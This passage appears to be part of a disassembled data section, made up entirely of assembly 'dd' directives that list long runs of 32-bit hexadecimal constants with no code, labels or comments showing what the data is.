		dd 443DF68Fh, 4600495Eh, 63BB7FE2h, 9C5F2Fh, 0F7A8D198h
		dd 4F326FF4h, 0A756A500h, 198190B8h, 40B30988h,	0F480F5C3h
		dd 0FB6E3A3h, 1F11DA00h, 68A9189h, 0D82C4D54h, 9573CD00h
		dd 0FF33B3BEh, 0B921B801h, 0ED18EFB7h, 0DA303EC9h, 99E20040h
		dd 0D841D043h, 0F23D3120h, 0C03680FDh, 2AF1972h, 9C30F55h
		dd 3800ECAAh, 9A60B216h, 1CC90400h, 0C1767E5Eh,	0D2DA0077h
		dd 43A0987Ch, 0F14CAD0Ch, 150074CCh, 0B9C23089h, 0E3ED9BBFh
		dd 0CC2C24h, 0A81CA27Eh, 0CDDF8C35h, 620055FCh,	96749094h
		dd 1370BFh, 9565AB7h, 7CB383F5h, 1D020674h, 2495129Eh
		dd 0B086407Ah, 0C70F0011h
		dd 296DC88Eh, 5600CB48h, 64C435BEh, 48468B9Ch, 11079E21h
		dd 30E40C30h, 49FAABBh,	76BD1801h, 3320EF2Ch, 40CAD842h
		dd 3ABBEA8h, 0EC11B201h, 0D5988696h, 9E007A9Fh,	0E9DB72BDh
		dd 42C6C28h, 0F70FFF35h, 38481C1h, 20288014h, 7C61CB4Fh
		dd 0BDF00075h, 0CCF51871h, 99003D57h, 3B70C4D6h, 3C0A50FDh
		dd 2F9EF8CAh, 0FA8CC02Dh, 7F3508D0h, 0FCDB4500h, 0A3311CF3h
		dd 924700CFh, 81D02567h, 0D407ED05h, 27910986h,	0E3BEA7AFh
		dd 0F9C0FCh, 0F42C39AAh, 0B8B3A3C5h, 0AC8DD0C0h, 51FA918h
		dd 41AAECEAh, 1BE4816Bh, 0DD3FE056h, 65675800h,	0E030C8FBh
		dd 0F417887h, 88F3EB4Eh, 4711C53Eh, 0E3B09033h,	0D26E18Ah
		dd 9C1C2C91h, 64587C40h, 253190h, 0DFB4B77Eh, 0B30B6EADh
		dd 0A6D6D005h, 0E5C463D2h, 0F4CA9400h, 48C64723h, 1E05123Eh
		dd 0C3241Bh, 0BE8B08ECh, 8C5CE952h, 0F03C00B4h,	0D6449D2Ah
		dd 97561DB1h, 0A0F4060h, 88A92813h, 0C83D09E4h,	153D1C84h
		dd 47694081h, 4CF8A1F1h, 2449AC2h, 14C7515Fh, 18C0D878h
		dd 0B339AF83h, 0BDA48455h, 5CA06902h, 627FA2h, 0D36F03D5h
		dd 0BDB7790Eh, 1E604500h, 0DF0DFFDh, 9CB7044h, 25E01D13h
		dd 9490AC63h, 0C300C7ABh, 9BF2DC9Ah, 0FE4C72EBh, 3FD90766h
		dd 45DD7339h, 6CA00BEDh, 8C13D0A0h, 0EE071BF1h,	7D27B8C6h
		dd 0D9FA26D0h, 935100A8h, 9BA1BA63h, 0C800CD6Ah, 84602FA6h
		dd 300E12h, 395DFCEDh, 7E48BF9Ch, 0B58E4D07h, 29A01DD2h
		dd 0DE36A7h, 0DEA859Dh,	82CBF204h, 89BA7700h, 43874FFEh
		dd 7817C92h, 9F72E657h,	0F1D07167h, 0AFB06093h,	8873F07h
		dd 0D7702C05h, 0C828A0Eh, 0A3504E7Ah, 9103FE19h, 0BC147160h
		dd 0F2E0DF69h, 416721Dh, 4CE8E9A4h, 1418A01Bh, 83B71E02h
		dd 69F34FA3h, 8BCD7350h, 15228E40h, 673701A9h, 4AEA692Ch
		dd 0F9608125h, 2353F760h, 0DFDAA2E4h, 2720C1D0h, 0BC4DBF78h
		dd 59710049h, 725D0E44h, 837F03EEh, 1A76D8E8h, 0FD72000h
		dd 3E3FADD4h, 96C395C6h, 8067C100h, 0FBFC574Bh,	0C3BE0125h
		dd 0ADE2D1E9h, 0C5D0307Ch, 0BD0EA1E0h, 4BEA57h,	97FB4CB7h
		dd 14F34EBEh, 850906B4h, 0A820226Eh, 0D2268AEFh, 0D668B100h
		dd 0CFB543Ch, 22993872h, 1CB2FC80h, 0D367BCB6h,	9F886B0Eh
		dd 1A48A129h, 8020DB57h, 0C58A0071h, 671855C2h,	7A498F5Dh
		dd 288600ECh, 0E8FF3F76h, 864667FCh, 589593F7h,	8036EA91h
		dd 4FF03A20h, 24B006DCh, 85D8A6CCh, 0C25F4547h,	0A4E3025Eh
		dd 3021896h, 0CC103D80h, 9F97C16Eh, 28620EFDh, 17874804h
		dd 7B178285h, 9E151660h, 0B9A79600h, 7A16E683h,	93E400B5h
		dd 0BBE91743h, 0AC2815C0h, 390CEC2Eh, 10EA1427h, 3F70126Ah
		dd 0D340065h, 0EDC2D7E4h, 0C9254D0Ch, 3F9DA0ACh, 349252B0h
		dd 9FC44E91h, 0E9913A0h, 0DB3BE32Ah, 0EECB80FDh, 6A21E66Dh
		dd 2F9B0E8Dh, 0F6C09699h, 0FF2A6ECFh, 100DAB00h, 2EAE8CDEh
		dd 0E9D405EEh, 115AFACh, 31D5C3A8h, 0CE17D488h,	0F2944D0Eh
		dd 51F88591h, 18BF944Bh, 94E4A8h, 0BB447879h, 0B814A658h
		dd 21BDC00h, 8B921529h,	12930082h, 0E38EC323h, 9D028501h
		dd 9499A4A5h, 0CC08611Eh, 3887AAECh, 0E7120EE2h, 0C3C09D8h
		dd 0C4CF9001h, 0EF109DA7h, 0A635CA80h, 6DE537h,	98D4EC33h
		dd 5E8CD3F8h, 1E166300h, 47E9D10Eh, 0E7B40036h,	0A6D0B781h
		dd 6E07DD38h, 7A63AD16h, 68A03767h, 24AEB693h, 49499C0h
		dd 49A0CBFDh, 0ABFB0070h, 51F435h, 0AD7BF813h, 0D11AAE5Eh
		dd 412C7A03h, 0E1FC98C9h, 8C4091E7h, 13A071EAh,	805DC0A2h
		dd 3168D444h, 8688551Dh, 2301BC40h, 0E6DFFBC2h,	0CECA0A82h
		dd 1A92070h, 3BE4938Fh,	59FAD076h, 8621BA00h, 8BC5035Ch
		dd 8D9C00CCh, 0F6ECDFEh, 9800D950h, 0FDBC7F61h,	3DDE2C81h
		dd 5280A6E9h, 73563343h, 5E7A634Fh, 67FC4201h, 0C3F8969Fh
		dd 6A31ECh, 0E4E8B35Bh,	1E0F21D1h, 2A6FFC0Fh, 17928064h
		dd 4AC8BCAh, 0A6F81961h, 9670B02Eh, 5C54ED26h, 1880E01Ch
		dd 6132584Eh, 9C150FF0h, 4F20A07Fh, 7D89714Ch, 5EF64D00h
		dd 0C4915410h, 3B370058h, 0E065283Fh, 0DAF47247h, 44351C00h
		dd 9DBA0596h, 5E89C32h,	0C0E1DB42h, 0AA2048DCh,	0BA7F6316h
		dd 8536A001h, 54650280h, 155C0D4h, 0B24AE55Bh, 3440C507h
		dd 760EC464h, 0C2D8CEC3h, 40A878A4h, 9509732h, 0FA7A5A69h
		dd 0C84D3603h, 0E696F8A8h, 7556CD2Eh, 7946E701h, 18ACFBE8h
		dd 0DC10992h, 0D79B5800h, 69F85C31h, 0F0CAF128h, 0BC006CE2h
		dd 0B199F411h, 872C06h,	0F56A3EEEh, 71AED217h, 59410360h
		dd 3CD77021h, 64000F97h, 6CD2BC17h, 367CBAADh, 9A5D7300h
		dd 708CCE8h, 1A090066h,	0A7EFDF44h, 0A23A337Ah,	0FBFA8BADh
		dd 0DA008069h, 1CDEDB03h, 45ED0FFEh, 8E6AA3h, 0B205AE8Ch
		dd 723C2A65h, 1D8495Fh,	0D5194417h, 5D70D3A8h, 4E9F003Eh
		dd 0C2DBAD71h, 0E30055E9h, 0C4672DCEh, 0C1B2C3h, 77462224h
		dd 956C8F79h, 60201092h, 0FFAE0006h, 997B178Ah,	95038E33h
		dd 31439DF0h, 9ABFE862h, 0A428C005h, 0D3D45F8h,	0C5CFF100h
		dd 0EAEF9C38h, 688C02C3h, 177A5C76h, 0CEE7DC69h, 0A10090E4h
		dd 6DB77382h, 5BF865D5h, 0B0A80391h, 0DC824AFBh, 0F28D321h
		dd 9C309E02h, 7C3A5923h, 40D8991Ch, 90EFCF51h, 13C5F93h
		dd 470077C5h, 0C3687A48h, 0F474E0D3h, 0CF97011Fh, 3D0207ADh
		dd 1945F804h, 0D8B3DC00h, 642E1B0Ah, 0CA4102A9h, 0CE82F123h
		dd 0F654C2E0h, 6149609h, 0F4BA83FFh, 84BD981Ch,	262D0AA5h
		dd 3AA8EEB8h, 16B83026h, 42D00029h, 0A6DEC78Fh,	12004AE2h
		dd 77F29F9Ah, 0C68EA9h,	6CF81063h, 7D9407B8h, 0CF048900h
		dd 0A588BA80h, 307C9E84h, 477E7820h, 0F573260Fh, 4050E921h
		dd 0E9C838h, 9C28E629h,	6C270849h, 0E0A49203h, 98CDB886h
		dd 7E6AA2DAh, 767B002Ah, 576D1A3Ch, 0BF00431Dh,	9F2CFE50h
		dd 0AD01Eh, 5FE51B74h, 182EB9A2h, 472F2903h, 0B03031DEh
		dd 71A96B1h, 4E5F247Fh,	7481DF2Ah, 0E45A18B9h, 45E44D6Bh
		dd 0DE0500BBh, 0D040CC58h, 0FF73885Ah, 0F3D60032h, 2C8DDBC4h
		dd 90022FA0h, 0C736CD75h, 508481Eh, 2D80179h, 6C240456h
		dd 4F29F032h, 0B30B1376h, 6060C7C6h, 897E8E8Ch,	98820A9Bh
		dd 0E8E0E1D0h, 8039F346h, 2F410066h, 40EF1286h,	22D7044Eh
		dd 21C179Dh, 0C833B660h, 0B2A8DBD4h, 0AB593DF8h, 1E4E7580h
		dd 0E260DCACh, 0BB7DC902h, 480EC4B5h, 79DD6FFCh, 510A0043h
		dd 5EA2808Dh, 5D7B15EDh, 7489FB03h, 985CDE91h, 40D96Dh
		dd 0E0C71A77h, 78856380h, 6F9BEA00h, 0FFEE5443h, 32B90013h
		dd 7324CA86h, 45356AA9h, 3BF834h, 30C0A5C8h, 1EFEB081h
		dd 8268F95Ch, 4386F033h, 0E8E72761h, 0CE0BC0D1h, 98451069h
		dd 2EE24818h, 8F609244h, 6A00FC56h, 1AAFA010h, 0EB47FA00h
		dd 0D051C853h, 0B5291D5Ch, 80A4A6BAh, 27B266CBh, 5300A8F5h
		dd 0ADC8762Ch, 0CFD2B8h, 0FBD341DEh, 0D988CCA6h, 0A860E500h
		dd 1979905Eh, 65E60033h, 8589DFFFh, 0D10041B2h,	0B8F1E08Ch
		dd 22189Ch, 0A43DB956h,	0EC79A37h, 0EF083800h, 5ECC606Dh
		dd 19780075h, 3FD71EFAh, 1A0048D1h, 8BB36FC5h, 8C7121h
		dd 193373D8h, 5B2B7F28h, 0CF500200h, 0E1A9782Ch, 8DF40161h
		dd 0AD6B7B8Eh, 497FC0C4h, 780B7700h, 81646748h,	43C04D4h
		dd 0D08E5215h, 22672DCh
		dd 7075DCB8h, 0DB312001h, 53C1A57Ah, 1855DEFCh,	58811E10h
		dd 8900340h, 0E5A7F000h, 88E7FB23h, 64D2039Dh, 0C2344A0Dh
		dd 3168F5E1h, 0EF33E898h, 0E1B888F0h, 0C7B10C8h, 13212CAEh
		dd 444F12F0h, 97F9D000h, 176B1F8h, 0C7346048h, 0EB38338Fh
		dd 6B19A1F0h, 0D52461Dh, 0B66501BEh, 43D295D5h,	52B89830h
		dd 0F00F240Bh, 0EF406EB1h, 64219891h, 650CC700h, 0B519F38Ah
		dd 92830751h, 2FE0C35Ah, 0F00EF480h, 0FE001225h, 641CC40Ch
		dd 0BA90556Ch, 9896980Ch, 0AEA00083h, 0B1BF2695h, 514949Ch
		dd 63C2B0Bh, 629625B9h,	43E900F8h, 0EA892773h, 78958F98h
		dd 0F8E50EC5h, 0B7E06E2Fh, 0B6B86D81h, 0D039F000h, 376A599Dh
		dd 64A00174h, 5FEB69E2h, 8423202Dh, 10EF9A07h, 0CD11C83Dh
		dd 0F0D521A1h, 0F0FD15E0h, 0DD8C0B34h, 880BCE9h, 0E219C492h
		dd 45C81101h, 8881BDCFh, 7D80DDCh, 3BD999F3h, 90EB2778h
		dd 36F4729Dh, 0B5B0C8A8h, 1442AE1Fh, 104292D2h,	48BBEF15h
		dd 509B97F8h, 0F0A41873h, 0F8EE14h, 0FC09A3F6h,	27241D81h
		dd 8A7D9A00h, 372CE061h, 0E365005Fh, 0A0B1B8DDh, 75006479h
		dd 0C48301C8h, 2BFB2A9Ch, 4614A417h, 0EA00701Ah, 155A9052h
		dd 547ABF12h, 0D8BC4Bh,	0C5468BADh, 809C43BCh, 0E13C0700h
		dd 34A00BEDh, 189800A6h, 0A4D32864h, 4700BA40h,	0F5740F09h
		dd 0EEF90Dh, 9B7CC3C6h,	4C6C3B43h, 14A10C00h, 0A93FB092h
		dd 0EBC8032Fh, 0E6C92479h, 3B03E2A8h, 7CD69C00h, 0BA2D25A6h
		dd 0A5E70042h, 2EC05188h, 0C97CC5D2h, 33262902h, 5714A39Fh
		dd 0C4624A00h, 1F0E285Fh, 800F1160h, 0FC672790h, 5CDC0F6Fh
		dd 7A60744Fh, 0BA8BB101h, 3097D51Dh, 7D1C1000h,	0EC6C868h
		dd 0C2D6EB37h, 4B935A60h, 30006206h, 4DB57E1Eh,	39A52Bh
		dd 3B5C8872h, 812CA15Fh, 78EF5500h, 0F0E74109h,	0A09126C8h
		dd 0DF180280h, 6049D69Bh, 40C3D402h, 0DCE7F006h, 0D8AE95h
		dd 29B0044Dh, 86202D5Eh, 60F1DF67h, 520EDC50h, 2108C0D7h
		dd 2FCD6A38h, 809D6F00h, 445705F2h, 98A70573h, 0D05FAF17h
		dd 5D77361Ch, 3948830Ch, 384A861h, 0C63D4D21h, 91891E7Ch
		dd 1C04504Fh, 0F000758Fh, 26F7577Fh, 0FD022h, 46944262h
		dd 0C669642Fh, 0F2271600h, 0F38F7BDAh, 0BFD10014h, 0E43B3323h
		dd 0A800831Eh, 0CD526F56h, 0FB3064B1h, 264BFBC8h, 69A205h
		dd 0A196562Bh, 0B9072294h, 80E1670Ch, 530E0970h, 19FB001Dh
		dd 0C0DF9138h, 7AB02015h, 0A6042800h, 9A931739h, 0A8FCE9F7h
		dd 98928Dh, 0D5AF28A7h,	81352975h, 7826200h, 980269B3h
		dd 0D9840B2Ah, 0BE001E63h, 4ED65DEBh, 54B87700h, 0F542C52Ch
		dd 0B0C0072h, 2F235597h, 44009916h, 0A8A17E36h,	1D9FF14h
		dd 46FD5B38h, 0F875D411h, 3E03046Ah, 30506022h,	949DF8FFh
		dd 2BEF5823h, 0C0D02E1Ch, 906DFD07h, 0E05E246h,	9B5552AFh
		dd 455CCC1Eh, 60879800h, 84040Fh, 8B48C07Ch, 0A3718DBBh
		dd 790B800h, 7BFCB4AAh,	0A060C0C3h, 0BE66D9Ch, 5C2FB605h
		dd 0BAC7690Dh, 0E88C1D30h, 0F5CE0062h, 0D914B26Dh, 0D02F73Fh
		dd 24DF5A3Ch, 0A360E006h, 0E89D3A58h, 8184724h,	44E00F43h
		dd 775080Ah, 740BFD99h,	0CB6AA0D9h, 0E500A59Eh,	88FB29C9h
		dd 3C354809h, 0BC8055B1h, 0B24150CDh, 0D3E42AFh, 9521002Dh
		dd 0E3B927EBh, 0D8F1008Fh, 0FDB51106h, 3E003369h, 7E46EE9h
		dd 0B65CDAh, 21A2A4FBh,	0EDF5F8B8h, 3B5A38C7h, 9324C04Eh
		dd 28D9F2AFh, 0D50A36h,	900649A4h, 2A8528B4h, 0C9EAA000h
		dd 0ADD7F9C0h, 8BEC56h,	24937E14h, 40CEFEB9h, 0C56EAE00h
		dd 227512DAh, 0F178C0h,	7B4A4D9Dh, 53A4E23Ah, 4003C24Bh
		dd 0D02145BDh, 1F98EF4Bh, 4003D75Fh, 0EDB34A9Eh, 8E009B34h
		dd 9CA9185h, 0E69917h, 42C95C40h, 0A2103CBCh, 0ABB5C300h
		dd 496176AAh, 52E0185h,	0D370345Bh, 4F042A1Dh, 34C0DA87h
		dd 2F37CFh, 0D28C2461h,	5CAF211Ah, 4B6CC107h, 92005519h
		dd 0FE02C95h, 43D2774h,	6D6F742h, 3B79C8D0h, 664BAA0Fh
		dd 4443B247h, 0ED94CF51h, 0B2E7C800h, 30805E92h, 11213A01h
		dd 0BF71F166h, 41080E1h, 0E4A9DE52h, 1DD5F070h,	189228C3h
		dd 458C4084h, 0B800FA71h, 0AF27AAC1h, 0A25809h,	21520DD3h
		dd 304072CFh, 7C395F26h, 0B5BE6001h, 0EAF14CC9h, 26F029F8h
		dd 4070B8h, 0A059D530h,	0F6501690h, 657CB790h, 91EAB10Ah
		dd 7C07C037h, 6FD3869Eh, 0BA25A85Dh, 0F9FC00C8h, 873AE035h
		dd 6600565Fh, 8B05DB18h, 4C9E0279h, 2A03DFB7h, 0EED1D04Dh
		dd 0F37E8EA0h, 0E989E8F7h, 0CE506912h, 6D1B2C00h, 0C0B58366h
		dd 22BB0411h, 0CD4059AEh, 0AF79A1h, 0D68D7E5Dh,	189ED20Dh
		dd 8096223Ah, 0A1F6BE0Bh, 9C3237h, 0FABD4AD3h, 2C79BB8Ah
		dd 159A3809h, 4080000Ch, 0B53139h, 882EEE4Ch, 44C31D03h
		dd 0CB584A00h, 3DE3BDB1h, 1C3B729Bh, 9C221C26h,	0FDEFC0F1h
		dd 4ED6C62h, 0DC592900h, 0D2289B17h, 99AD2857h,	16C8008Ch
		dd 10CED0A6h, 461DFC81h, 0BC80D97Bh, 86439374h,	2C0202C5h
		dd 0FE75593Eh, 0BC1E9C90h, 151B1900h, 0FBB9D34Bh, 1BA0F8Ch
		dd 0C065829Ch, 0D7FB00B6h, 0CBF08021h, 69B7700h, 5F76BB2Ch
		dd 759041h, 4D12165Bh, 0DA378853h, 7AE77800h, 0D61AB51Ch
		dd 0AF10072Fh, 209BC0BDh, 90210726h, 3CF14E0Bh,	0FD92801Bh
		dd 7A9263h, 0B1C4276Dh,	0A7AF7E11h, 0F3814Ch, 56215BD5h
		dd 7A8D8D9h, 0D2975F8Ah, 3DA7A12Bh, 0E0F07B1Bh,	798F0FC6h
		dd 0F0CBAF52h, 9222A280h, 4612F8BEh, 8C40D648h,	16D78A7Eh
		dd 0CA7F0006h, 6EA19FC6h, 0E9FEBCDDh, 13C1C83Ah, 1C00D340h
		dd 0EDCCD449h, 0A50100E4h, 0BAFF43EAh, 0A505AECh, 0F007DB0Ch
		dd 0F1AB3971h, 0FCE2B340h, 0B029FB9Ah, 0C948E508h, 10DB313Ch
		dd 7B13F42Eh, 0D280EDC0h, 0F0B68503h, 0C859DE97h, 0FA561A6Ah
		dd 0A612003Ah, 96D0B90Dh, 900A536Eh, 0AD6AF413h, 9C896400h
		dd 3C3F9FDh, 4B6DE3EFh,	6AC89D90h, 2C4A0B85h, 0B1378C41h
		dd 48C436B7h, 9BE7006Bh, 6FFB782Bh, 0E600CFBBh,	0CB7C2C8Eh
		dd 919D52h, 6E043630h, 0F1A12506h, 510029E8h, 92BAA343h
		dd 1FA9E520h, 8060FD85h, 9EE7B281h, 630E78C2h, 22436628h
		dd 636980E9h, 7CF4E819h, 84FC00C6h, 149FCA5Dh, 0A5037968h
		dd 9566BC05h, 5F3ED8D6h, 0B42B00BAh, 247C0956h,	53077F80h
		dd 14DEA5E3h, 0CD2C9CB0h, 0E6AE006Eh, 8EE5F8D1h, 24FA5209h
		dd 0AF2F6715h, 33007AA0h, 459D0DD2h, 7CE97870h,	61520064h
		dd 0E3D8F993h, 21B550EDh, 518B1628h, 0AFE93971h, 9988FF5h
		dd 53F6216Eh, 2F3E4E00h, 384B582Eh, 30A75408h, 71F64164h
		dd 1B6191C8h, 9351B980h, 0AE438094h, 0F0006822h, 0CFA75181h
		dd 79708B6h, 65F23357h,	7D72800Fh, 0E5B8B2AAh, 68F9AC36h
		dd 2E64660h, 949851B8h,	100431A8h, 0B5180F3h, 0AD1B6AB9h
		dd 2FE48900h, 361C125Fh, 54C6C39Fh, 1DC1EE63h, 7CDAC719h
		dd 91EFF383h, 830CB6Ch,	0FFAC21E0h, 9AF50EDAh, 0EA60B3A4h
		dd 42AB2584h, 52121400h, 2CEE0F46h, 0A7D0387Bh,	0EB7431Dh
		dd 1DA77D93h, 0AC1A50E5h, 32E86622h, 4EF2E403h,	0B890B3F6h
		dd 56E285h, 19F8DB3Ch, 2A08139Dh, 558C9A00h, 59901AC0h
		dd 0B07E5C4Ch, 0CEAADF07h, 0E13120E5h, 89009EC5h, 81614E1Bh
		dd 4CFE25F4h, 8D182BCBh, 3BBEDC8Fh, 8FBC1F3Eh, 0B76D1829h
		dd 0C03AED00h, 0CA7DA2Fh
		dd 518A4F48h, 861CD518h, 0BA0F10BCh, 8381843Ch,	82FCC31h
		dd 4421867Fh, 0C49B10EBh, 7722362Ch, 32831E25h,	75180406h
		dd 33B1938h, 53206Dh, 786B4508h, 8CEDF79Eh, 71BC0F18h
		dd 15FB218h, 5B7FD15Dh,	82441C81h, 0FE86EC38h, 519E21C8h
		dd 2C9C403Ah, 0C53C06F0h, 8B2A0368h, 2280BC4Eh,	23C3470h
		dd 0EDE71B83h, 0C19AC361h, 218F351Eh, 1F8F8EBAh, 0C27CD900h
		dd 2D31FF45h, 63D0C950h, 15A5FF60h, 0AC010A3Bh,	0A7FEC800h
		dd 12BD0C8Fh, 94957600h, 8A263546h, 8938C03Ch, 1F45A155h
		dd 2617CD3Dh, 0AB00A091h, 1A5F1B6Fh, 6B7E78h, 59D1F9C9h
		dd 6214D3B4h, 4A9F20Eh,	230057C4h, 392541B2h, 0F52100D4h
		dd 2C53B0F8h, 0E601B870h, 713F1093h, 0A280609Bh, 38D705F3h
		dd 690003B6h, 0DEBEE5F0h, 4B8741h, 0EE713114h, 0E916C44Ch
		dd 34007E71h, 0F79DD086h, 0BEABB8h, 8BA6B94Dh, 0D2FA889Ah
		dd 9707F8E0h, 8ADA7A41h, 3F82285Ch, 1580EEDEh, 1A91D6E8h
		dd 4A00C2A8h, 6DFE1BE7h, 59BB39h, 95A2850Bh, 908909C5h
		dd 47D8A100h, 312AA829h, 787BF665h, 0B3B085h, 0D373C3C6h
		dd 8F92E6A7h, 9E005B74h, 0BDA15783h, 76274F8h, 0B7997E37h
		dd 0D0F937A3h, 86C41834h, 0F0482D00h, 0CBA27AEBh, 769328D2h
		dd 8B1000E8h, 0FC61F59Eh, 0B805A90Ch, 9C4E7A55h, 0D08D83AAh
		dd 507DE6D9h, 0E289B7F0h, 3932B50Ch, 75B198DFh,	7AF0064h
		dd 1993DE9Fh, 0A039F2A6h, 598587B5h, 0AF401EA7h, 4B0C7Dh
		dd 0FD19D11Ch, 8ED98B3Eh, 8C5094A0h, 805E263Bh,	0B506CC91h
		dd 39ED794Dh, 138EC0F1h, 0BEE0EAA0h, 2075B737h,	0E7318100h
		dd 92F424D6h, 0DA05CCEh, 30CCA801h, 6A08E59Eh, 0FE8B8CE0h
		dd 75D7BC9h, 0F8C4E16Ch, 0EDA34349h, 0F6FCCCF8h, 688ADF07h
		dd 0CF1EADF4h, 8651E02Fh, 77C01B5h, 0BAD1F789h,	41B0C0D9h
		dd 200EFFCh, 83311995h,	12209029h, 40BF591Ah, 928C1694h
		dd 9D01B5F3h, 25F7B048h, 0BA208352h, 47F626C3h,	0A74E0EC9h
		dd 6D3FA1C0h, 7400E901h, 6CC4F48Dh, 48BDD7h, 4FB5C7A3h
		dd 0BE618C08h, 3D6FDA0Ah, 940B9410h, 0EE970058h, 483C71h
		dd 702E73E8h, 953E59C0h, 0C3730C90h, 0F046E201h, 115D9320h
		dd 50AB3C0h, 0E9271831h, 0A2E40F6Ch, 5FF50CC0h,	0BD005438h
		dd 0A964F175h, 671F46h,	691944ABh, 0F9C57A02h, 5FB1A500h
		dd 4914917Eh, 0C070EBEh, 0B2806408h, 0C405390Fh, 2CD85E09h
		dd 862020D5h, 57C93Eh, 81FCF008h, 0D423A19Dh, 40C4A00h
		dd 50DEBC20h, 0AF7B8021h, 80C7BB3Eh, 0CC115CDBh, 16BEDABh
		dd 683A3B22h, 34CE7F24h, 93072F24h, 9619CFE6h, 5618D421h
		dd 645951E4h, 807C89C2h, 671CCB44h, 827A1A00h, 0F55987ACh
		dd 548C0064h, 5A2289E0h, 0B93BFA35h, 0CEE2014Eh, 8496BBCBh
		dd 37D00AF9h, 2B35026Ah, 0A32C5648h, 77981FE0h,	4DD0440Eh
		dd 7565004Fh, 58FC15E1h, 0CC006E36h, 445102CDh,	0C724AF72h
		dd 0C4012030h, 0EF7D683Ch, 0FCF5AECh, 29468EB2h, 2D1C4100h
		dd 0C7008AB0h, 3D4EC2Bh, 0E0BE39E2h, 0B21F09A0h, 85009534h
		dd 5F7F9629h, 0C9CE5500h, 0A18D5E6Dh, 4B7385h, 0DCD358A2h
		dd 6302A440h, 2DBB210Fh, 98CF8AC2h, 0FA329707h,	0EC664720h
		dd 0F37F0061h, 7E5C570Dh, 81002478h, 8602E63h, 3D544CD6h
		dd 0CC805114h, 0D1BEF6DFh, 7C036E46h, 7291DB04h, 600A7F8h
		dd 3A0CEC2Fh, 0EFBADC48h, 0FA9B680h, 0DB163149h, 3D8944Ch
		dd 32761C7h, 60E1C2D3h,	0AF4C6Ch, 5C37CEC1h, 7DDE4C9h
		dd 592BA600h, 0EF60CBB9h, 9C24305Ah, 56495F28h,	3D820D00h
		dd 0F0DFDB8Fh, 95CE0727h, 105C3453h, 0D01C2DBCh, 884B0B01h
		dd 9F4226E1h, 7DF6834h,	31F7759Dh, 0AE94C4h, 487E6973h
		dd 10A86033h, 8E0E5825h, 317AB00h, 80E43E1Ah, 0D98100B6h
		dd 63D4990Ah, 0F4905AD7h, 64D28E17h, 13E60700h,	39326AE5h
		dd 0F8732D89h, 1A8E0350h, 74834785h, 149C62A0h,	0DEFD3501h
		dd 5FCEFFD7h, 0CAF020h,	0DB3A771Ch, 0CD15B974h,	24185E60h
		dd 4A8A6Eh, 0B7BA1B2Fh,	142D06DBh, 0CF5985EAh, 0ED930FE0h
		dd 0D92FC0C6h, 7C31E3h,	0F6FD6ABEh, 3CF2B33Dh, 6DEFA100h
		dd 0A31DEE5Ch, 4EDF01A9h, 6B364530h, 2CA7407Ch,	5007C310h
		dd 8296EBBDh, 0C2D6E5C0h, 39A00067h, 0B915558Bh, 1B001FCDh
		dd 0C937F056h, 0B08113BDh, 0DED8E1B4h, 4EE78B3h, 4DABA2ADh
		dd 8B8A8025h, 90A071D8h, 561FBC85h, 4CC07020h, 531E5476h
		dd 0C0A3F4E0h, 0A1090C30h, 0D9F29C22h, 10779B76h, 25F15000h
		dd 58FEC3DDh, 0D4C201F2h, 0A757A070h, 9275C8E4h, 0B196BF05h
		dd 2482F6E1h, 40BC6014h, 34D700F8h, 81E6AC30h, 39FCC38Ch
		dd 0A23F2C00h, 0EC54E548h, 51890047h, 15C5226Fh, 0F002F44h
		dd 3492870Dh, 1DB2196Bh, 80BB32ACh, 5601B8CEh, 743EF9AFh
		dd 0A17D807Fh, 69E88E2Ah, 6B5E004Eh, 62E75AE2h,	40E2C9BEh
		dd 8E71F904h, 1CC09B1Ch, 0FAFDD9DCh, 24E505A3h,	0D0A41782h
		dd 525E42DCh, 338CEA0Eh, 0E4B2A0C6h, 749B57C2h,	0F567ADFh
		dd 2A8B9EE2h, 0B08C6707h, 0B4996CE0h, 519E360h,	60D18245h
		dd 0BFBB0835h, 550227DFh, 8024012h, 0F2AE0F9h, 3BF53952h
		dd 7C974100h, 206CDBF0h, 0F20D4Ch, 0B90CF749h, 14865BB1h
		dd 508BC8B3h, 49A84E0Bh, 0B5BEF0A0h, 0BF3A2135h, 6373AEDh
		dd 48A455C7h, 0FFBA0221h, 0E5F8DAD4h, 3AF87Ch, 0D29B2BA1h
		dd 0A310D601h, 0F348A0BEh, 0C0993C2Ch, 11E351Eh, 0F726D596h
		dd 7900C330h, 0C0F6D4CEh, 7637C4D6h, 50D16050h,	4524DFF9h
		dd 548C2094h, 80D4C0AAh, 0DCE99C06h, 0ED186EC0h, 0F5C95A86h
		dd 8299740Eh, 16BF5000h, 0C200DC95h, 0F760EB6Dh, 30102D87h
		dd 9EB09F98h, 6800CB7Ch, 366E8627h, 8DEA74h, 4F6AF7E0h
		dd 35B3D038h, 3CB1AB01h, 1C2ED6A0h, 70873E71h, 0D7D9FCE2h
		dd 49B840C0h, 0B97494F5h, 0DC4149h, 9D9C433h, 710858C0h
		dd 1E6B8A8h, 0C88EB036h, 8520EC5Fh, 0A4C47688h,	56E5C020h
		dd 0BF260114h, 0C899E10Dh, 0EE089705h, 5EFA3440h, 39379B14h
		dd 84125C7Dh, 6B40C02Dh, 4701C809h, 0BC9A01D7h,	3E01ECA4h
		dd 91FC61EEh, 0F78037C0h, 0C4C0AED9h, 0C99E208Ch, 0D9C30800h
		dd 9DD1D24Fh, 9B26004Ah, 3FF9EBA4h, 0E2410F19h,	0F06DB813h
		dd 1AC2DB07h, 7835998Bh, 9D113817h, 22151180h, 8B19CD27h
		dd 4461532Eh, 0EEFCD1F4h, 0B1CB0171h, 122EDE0h,	2D47F43Fh
		dd 8D299E60h, 1EE88FA6h, 0CE5D0DFh, 950808ECh, 0AD1A21C0h
		dd 0E2B28Eh, 3AF69D67h,	6DA627C1h, 15694603h, 98451E8Ch
		dd 0E6612ADh, 3CB64433h, 213441C0h, 9C0FD130h, 0A01AB96Fh
		dd 0CA59DD0Bh, 1688008Ch, 571E365Ah, 3803DA53h,	0AF752D4Bh
		dd 1BA8C024h, 0D27E009Dh, 2BE9EEEh, 5B007F04h, 0A3FBEBD0h
		dd 0CB46F1h, 15752C84h,	62903B1Dh, 55D25307h, 7857F55Ah
		dd 379CE3A0h, 25740084h, 488E04EEh, 0D6037FD5h,	0D14A1BF3h
		dd 7AE488A6h, 90EB00A9h, 20CCAA37h, 0E71C25B9h,	0BA412246h
		dd 0E4E659B3h, 9495E080h, 38939EA1h, 9AE5A600h,	248B3B4Ch
		dd 8C3C0740h, 408D0989h, 653F13FDh, 0EAECA57Ch,	9844DB00h
